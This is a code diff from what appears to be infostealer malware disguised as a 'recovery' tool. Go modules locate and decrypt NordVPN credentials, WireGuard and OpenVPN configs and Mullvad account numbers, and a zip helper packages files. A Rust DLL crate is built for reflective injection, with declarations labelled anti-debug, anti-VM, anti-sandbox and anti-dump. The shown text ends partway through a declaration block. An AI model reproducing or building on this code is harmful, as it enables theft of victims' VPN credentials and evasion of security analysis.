||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanVPNs() *types.VPNResult {
|
||||
result := &types.VPNResult{
|
||||
WireGuard: scanWireGuardUnix(),
|
||||
OpenVPN: scanOpenVPNUnix(),
|
||||
Mullvad: scanMullvadUnix(),
|
||||
}
|
||||
if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanWireGuardUnix() []types.WireGuardResult {
|
||||
var results []types.WireGuardResult
|
||||
|
||||
configDirs := []string{"/etc/wireguard"}
|
||||
if runtime.GOOS == "darwin" {
|
||||
configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
|
||||
}
|
||||
|
||||
for _, configDir := range configDirs {
|
||||
if !pathExists(configDir) {
|
||||
continue
|
||||
}
|
||||
entries, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
|
||||
continue
|
||||
}
|
||||
filePath := filepath.Join(configDir, e.Name())
|
||||
confData, err := os.ReadFile(filePath)
|
||||
if err != nil || len(confData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var iface, peer, endpoint string
|
||||
for _, line := range strings.Split(string(confData), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if key, val, ok := strings.Cut(line, "="); ok {
|
||||
key = strings.TrimSpace(key)
|
||||
val = strings.TrimSpace(val)
|
||||
switch key {
|
||||
case "Address":
|
||||
iface = val
|
||||
case "Endpoint":
|
||||
endpoint = val
|
||||
case "PublicKey":
|
||||
if peer == "" {
|
||||
peer = val
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.WireGuardResult{
|
||||
Name: e.Name(),
|
||||
Interface: iface,
|
||||
Peer: peer,
|
||||
Endpoint: endpoint,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanOpenVPNUnix() []types.OpenVPNResult {
|
||||
var results []types.OpenVPNResult
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
|
||||
if home != "" {
|
||||
ovpnDirs = append(ovpnDirs,
|
||||
filepath.Join(home, ".config", "openvpn"),
|
||||
filepath.Join(home, "OpenVPN", "config"),
|
||||
)
|
||||
if runtime.GOOS == "darwin" {
|
||||
ovpnDirs = append(ovpnDirs,
|
||||
filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ovpnDir := range ovpnDirs {
|
||||
if !pathExists(ovpnDir) {
|
||||
continue
|
||||
}
|
||||
entries, err := os.ReadDir(ovpnDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.OpenVPNResult{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(ovpnDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanMullvadUnix() []types.MullvadResult {
|
||||
var results []types.MullvadResult
|
||||
|
||||
configDirs := []string{"/etc/mullvad-vpn"}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
if runtime.GOOS == "darwin" {
|
||||
configDirs = append(configDirs,
|
||||
filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
|
||||
)
|
||||
} else {
|
||||
configDirs = append(configDirs,
|
||||
filepath.Join(home, ".config", "Mullvad VPN"),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
for _, dir := range configDirs {
|
||||
if !pathExists(dir) {
|
||||
continue
|
||||
}
|
||||
for _, name := range []string{"settings.json", "account-history.json"} {
|
||||
path := filepath.Join(dir, name)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
var raw map[string]json.RawMessage
|
||||
if json.Unmarshal(data, &raw) != nil {
|
||||
var token string
|
||||
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
}
|
||||
continue
|
||||
}
|
||||
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
|
||||
v, ok := raw[key]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
var token string
|
||||
if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
|
||||
for _, r := range results {
|
||||
if r.AccountNumber == account {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanVPNs() *types.VPNResult {
|
||||
result := &types.VPNResult{
|
||||
NordVPN: scanNordVPN(),
|
||||
WireGuard: scanWireGuard(),
|
||||
OpenVPN: scanOpenVPN(),
|
||||
Mullvad: scanMullvad(),
|
||||
}
|
||||
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanNordVPN() []types.NordVPNResult {
|
||||
var results []types.NordVPNResult
|
||||
|
||||
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
|
||||
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
|
||||
if !pathExists(nordDir) {
|
||||
return nil
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(nordDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
|
||||
continue
|
||||
}
|
||||
|
||||
versionsDir := filepath.Join(nordDir, e.Name())
|
||||
subEntries, _ := os.ReadDir(versionsDir)
|
||||
|
||||
for _, sub := range subEntries {
|
||||
if !sub.IsDir() {
|
||||
continue
|
||||
}
|
||||
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
|
||||
if !pathExists(configPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
username := extractNordVPNValue(data, "Username")
|
||||
password := extractNordVPNValue(data, "Password")
|
||||
|
||||
if username != "" && password != "" {
|
||||
results = append(results, types.NordVPNResult{
|
||||
Version: e.Name(),
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractNordVPNValue(data []byte, field string) string {
|
||||
content := string(data)
|
||||
idx := strings.Index(content, `name="`+field+`"`)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
|
||||
start := strings.Index(content[idx:], "<value>")
|
||||
end := strings.Index(content[idx:], "</value>")
|
||||
if start == -1 || end == -1 || end < start {
|
||||
return ""
|
||||
}
|
||||
|
||||
raw := content[idx+start+7 : idx+end]
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return raw
|
||||
}
|
||||
|
||||
plaintext, err := dpapiDecrypt(decoded, nil)
|
||||
if err != nil || len(plaintext) == 0 {
|
||||
return raw
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(plaintext), "\x00")
|
||||
}
|
||||
|
||||
func scanWireGuard() []types.WireGuardResult {
|
||||
var results []types.WireGuardResult
|
||||
|
||||
configDirs := []string{
|
||||
`C:\Program Files\WireGuard\Data\Configurations`,
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
|
||||
}
|
||||
|
||||
for _, configDir := range configDirs {
|
||||
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
|
||||
if !pathExists(configDir) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
logf("[vpn] WireGuard dir has %d entries", len(entries))
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
name := e.Name()
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
filePath := filepath.Join(configDir, name)
|
||||
|
||||
var confData []byte
|
||||
|
||||
if ext == ".dpapi" {
|
||||
confData, err = dpapiDecryptFile(filePath)
|
||||
name = strings.TrimSuffix(name, ".dpapi")
|
||||
} else if ext == ".conf" {
|
||||
confData, err = os.ReadFile(filePath)
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
|
||||
if err != nil || len(confData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var iface, peer, endpoint string
|
||||
for _, line := range normLines(string(confData)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if key, val, ok := strings.Cut(line, "="); ok {
|
||||
key = strings.TrimSpace(key)
|
||||
val = strings.TrimSpace(val)
|
||||
switch key {
|
||||
case "Address":
|
||||
iface = val
|
||||
case "Endpoint":
|
||||
endpoint = val
|
||||
case "PublicKey":
|
||||
if peer == "" {
|
||||
peer = val
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.WireGuardResult{
|
||||
Name: name,
|
||||
Interface: iface,
|
||||
Peer: peer,
|
||||
Endpoint: endpoint,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func dpapiDecryptFile(path string) ([]byte, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dpapiDecrypt(data, nil)
|
||||
}
|
||||
|
||||
func scanOpenVPN() []types.OpenVPNResult {
|
||||
var results []types.OpenVPNResult
|
||||
|
||||
ovpnDirs := []string{
|
||||
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
|
||||
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
|
||||
}
|
||||
|
||||
for _, ovpnDir := range ovpnDirs {
|
||||
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
|
||||
if !pathExists(ovpnDir) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(ovpnDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
logf("[vpn] OpenVPN dir has %d entries", len(entries))
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.OpenVPNResult{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(ovpnDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanMullvad() []types.MullvadResult {
|
||||
var results []types.MullvadResult
|
||||
|
||||
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
|
||||
|
||||
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
|
||||
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
|
||||
if pathExists(systemProfile) {
|
||||
sysSettings := filepath.Join(systemProfile, "settings.json")
|
||||
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
|
||||
mullvadTryJSON(&results, sysSettings)
|
||||
|
||||
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
|
||||
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
|
||||
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
|
||||
}
|
||||
|
||||
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
|
||||
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
|
||||
mullvadTryJSON(&results, daemonSettings)
|
||||
|
||||
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
|
||||
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
|
||||
if pathExists(guiDir) {
|
||||
guiSettings := filepath.Join(guiDir, "gui_settings.json")
|
||||
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
|
||||
mullvadTryJSON(&results, guiSettings)
|
||||
|
||||
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
|
||||
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
|
||||
if pathExists(lsDir) {
|
||||
mullvadScanLevelDB(&results, lsDir, guiDir)
|
||||
}
|
||||
}
|
||||
|
||||
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
|
||||
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
|
||||
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
|
||||
|
||||
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
|
||||
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
|
||||
if pathExists(legacyPath) {
|
||||
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
|
||||
var account string
|
||||
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
|
||||
account = strings.TrimRight(string(decrypted), "\x00")
|
||||
}
|
||||
if account == "" {
|
||||
for _, line := range normLines(strings.TrimSpace(string(data))) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" {
|
||||
account = line
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if account != "" && !mullvadAlreadyFound(results, account) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
|
||||
if !pathExists(path) {
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
return
|
||||
}
|
||||
var raw map[string]json.RawMessage
|
||||
if json.Unmarshal(data, &raw) != nil {
|
||||
return
|
||||
}
|
||||
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
|
||||
v, ok := raw[key]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
var token string
|
||||
if json.Unmarshal(v, &token) == nil && token != "" {
|
||||
logf("[vpn] Mullvad found token via key %q in %s", key, path)
|
||||
if !mullvadAlreadyFound(*results, token) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
|
||||
if !pathExists(path) {
|
||||
return
|
||||
}
|
||||
data, err := platform.ReadLockedFile(path, pids)
|
||||
if err != nil || len(data) == 0 {
|
||||
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
|
||||
return
|
||||
}
|
||||
rawContent := strings.TrimSpace(string(data))
|
||||
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
|
||||
|
||||
var token string
|
||||
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
|
||||
}
|
||||
var tokens []string
|
||||
if json.Unmarshal(data, &tokens) == nil {
|
||||
for _, t := range tokens {
|
||||
if t != "" && !mullvadAlreadyFound(*results, t) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
|
||||
entries, err := os.ReadDir(lsDir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, e := range entries {
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
// Mullvad account numbers are 16 decimal digits
|
||||
for i := 0; i <= len(content)-16; i++ {
|
||||
if isDigit(content[i]) {
|
||||
end := i
|
||||
for end < len(content) && isDigit(content[end]) {
|
||||
end++
|
||||
}
|
||||
seq := content[i:end]
|
||||
if len(seq) == 16 {
|
||||
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
|
||||
if !mullvadAlreadyFound(*results, seq) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
|
||||
}
|
||||
}
|
||||
i = end
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isDigit(c byte) bool {
|
||||
return c >= '0' && c <= '9'
|
||||
}
|
||||
|
||||
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
|
||||
for _, r := range results {
|
||||
if r.AccountNumber == account {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package ziputil
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const maxZipSize = 50 * 1024 * 1024 // 50 MB
|
||||
|
||||
func ZipDirectory(dir string) ([]byte, error) {
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
return nil, fmt.Errorf("directory not found: %s", dir)
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
baseName := filepath.Base(dir)
|
||||
|
||||
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
rel, err := filepath.Rel(dir, path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
zipEntry := baseName + "/" + filepath.ToSlash(rel)
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
w, err := zw.Create(zipEntry)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
io.Copy(w, f) //nolint:errcheck
|
||||
return nil
|
||||
})
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if buf.Len() > maxZipSize {
|
||||
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
|
||||
func ZipFiles(paths []string, baseDir string) ([]byte, error) {
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
|
||||
for _, p := range paths {
|
||||
rel, err := filepath.Rel(baseDir, p)
|
||||
if err != nil {
|
||||
rel = filepath.Base(p)
|
||||
}
|
||||
f, err := os.Open(p)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
w, err := zw.Create(filepath.ToSlash(rel))
|
||||
if err != nil {
|
||||
f.Close()
|
||||
continue
|
||||
}
|
||||
io.Copy(w, f)
|
||||
f.Close()
|
||||
}
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if buf.Len() > maxZipSize {
|
||||
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
|
||||
# dependency at runtime. Only the GNU target is supported: the reflective
|
||||
# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
|
||||
# machinery fast-fails under a manual map.
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
@@ -0,0 +1 @@
|
||||
/target
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "compat-layer"
|
||||
version = "0.1.0"
|
||||
@@ -0,0 +1,17 @@
|
||||
[package]
|
||||
name = "compat-layer"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
name = "compat_layer"
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "thin"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = "symbols"
|
||||
overflow-checks = false
|
||||
debug = false
|
||||
@@ -0,0 +1,256 @@
|
||||
//! Raw Win32 FFI declarations and constants used by the payload.
|
||||
//!
|
||||
//! These are resolved through the normal PE import table, which the reflective
|
||||
//! loader fixes up before DllMain runs.
|
||||
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(non_camel_case_types)]
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
// ---- Handles / return codes ----
|
||||
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
|
||||
|
||||
// ---- CreateFileW ----
|
||||
pub const GENERIC_READ: u32 = 0x8000_0000;
|
||||
pub const GENERIC_WRITE: u32 = 0x4000_0000;
|
||||
pub const FILE_SHARE_READ: u32 = 0x1;
|
||||
pub const FILE_SHARE_WRITE: u32 = 0x2;
|
||||
pub const FILE_SHARE_DELETE: u32 = 0x4;
|
||||
pub const OPEN_EXISTING: u32 = 3;
|
||||
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
|
||||
|
||||
// ---- GetFileType ----
|
||||
pub const FILE_TYPE_DISK: u32 = 0x0001;
|
||||
|
||||
// ---- DuplicateHandle ----
|
||||
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
|
||||
|
||||
// ---- Errors ----
|
||||
pub const ERROR_SHARING_VIOLATION: u32 = 32;
|
||||
|
||||
// ---- Memory / protection ----
|
||||
pub const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
|
||||
// ---- GetFileSize ----
|
||||
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
|
||||
|
||||
// ---- COM ----
|
||||
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
|
||||
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
|
||||
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
|
||||
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
|
||||
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
|
||||
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
|
||||
|
||||
// ---- GUID ----
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct GUID {
|
||||
pub data1: u32,
|
||||
pub data2: u16,
|
||||
pub data3: u16,
|
||||
pub data4: [u8; 8],
|
||||
}
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
|
||||
pub fn GetEnvironmentVariableW(
|
||||
lpName: *const u16,
|
||||
lpBuffer: *mut u16,
|
||||
nSize: u32,
|
||||
) -> u32;
|
||||
pub fn CreateFileW(
|
||||
lpFileName: *const u16,
|
||||
dwDesiredAccess: u32,
|
||||
dwShareMode: u32,
|
||||
lpSecurityAttributes: *mut c_void,
|
||||
dwCreationDisposition: u32,
|
||||
dwFlagsAndAttributes: u32,
|
||||
hTemplateFile: usize,
|
||||
) -> usize;
|
||||
pub fn ReadFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *mut c_void,
|
||||
nNumberOfBytesToRead: u32,
|
||||
lpNumberOfBytesRead: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn WriteFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *const c_void,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn FlushFileBuffers(hFile: usize) -> i32;
|
||||
pub fn CloseHandle(hObject: usize) -> i32;
|
||||
pub fn GetFileType(hFile: usize) -> u32;
|
||||
pub fn GetFinalPathNameByHandleW(
|
||||
hFile: usize,
|
||||
lpszFilePath: *mut u16,
|
||||
cchFilePath: u32,
|
||||
dwFlags: u32,
|
||||
) -> u32;
|
||||
pub fn DuplicateHandle(
|
||||
hSourceProcessHandle: usize,
|
||||
hSourceHandle: usize,
|
||||
hTargetProcessHandle: usize,
|
||||
lpTargetHandle: *mut usize,
|
||||
dwDesiredAccess: u32,
|
||||
bInheritHandle: i32,
|
||||
dwOptions: u32,
|
||||
) -> i32;
|
||||
pub fn GetCurrentProcess() -> usize;
|
||||
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
|
||||
pub fn GetLastError() -> u32;
|
||||
|
||||
// ---- anti-debug / anti-vm / runtime introspection ----
|
||||
pub fn IsDebuggerPresent() -> i32;
|
||||
pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32;
|
||||
pub fn GetTickCount64() -> u64;
|
||||
pub fn GetSystemFirmwareTable(
|
||||
firmware_table_provider_signature: u32,
|
||||
firmware_table_id: u32,
|
||||
p_firmware_table_buffer: *mut c_void,
|
||||
buffer_size: u32,
|
||||
) -> u32;
|
||||
pub fn GetSystemInfo(lp_system_info: *mut c_void) -> ();
|
||||
pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32;
|
||||
pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize;
|
||||
pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32;
|
||||
pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32;
|
||||
pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize;
|
||||
|
||||
// ---- anti-sandbox: hooked-path Sleep (must go through the normal API so
|
||||
// sandbox sleep-skipping is observable) ----
|
||||
pub fn Sleep(dw_milliseconds: u32);
|
||||
|
||||
// ---- anti-sandbox: directory enumeration (Recent files count etc.) ----
|
||||
pub fn FindFirstFileExW(
|
||||
lp_file_name: *const u16,
|
||||
f_info_level_id: u32,
|
||||
lp_find_file_data: *mut c_void,
|
||||
f_search_op: u32,
|
||||
lp_search_filter: *mut c_void,
|
||||
dw_additional_flags: u32,
|
||||
) -> usize;
|
||||
pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32;
|
||||
|
||||
// ---- anti-vm: registry probing (advapi32, declared below) ----
|
||||
|
||||
// ---- anti-vm: filesystem artifacts (kernel32) ----
|
||||
// GetFileAttributesW declared in the separate extern block below.
|
||||
|
||||
// ---- anti-vm: adapter info / input / disk / windows ----
|
||||
// Declared in their respective extern blocks below.
|
||||
|
||||
// ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are
|
||||
// resolved at runtime via apires so they don't appear in the import table) ----
|
||||
pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize;
|
||||
}
|
||||
|
||||
#[link(name = "ole32")]
|
||||
extern "system" {
|
||||
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
|
||||
pub fn CoUninitialize();
|
||||
pub fn CoCreateInstance(
|
||||
rclsid: *const GUID,
|
||||
pUnkOuter: *mut c_void,
|
||||
dwClsContext: u32,
|
||||
riid: *const GUID,
|
||||
ppv: *mut *mut c_void,
|
||||
) -> i32;
|
||||
pub fn CoSetProxyBlanket(
|
||||
pProxy: *mut c_void,
|
||||
dwAuthnSvc: u32,
|
||||
dwAuthzSvc: u32,
|
||||
pServerPrincName: *mut u16,
|
||||
dwAuthnLevel: u32,
|
||||
dwImpLevel: u32,
|
||||
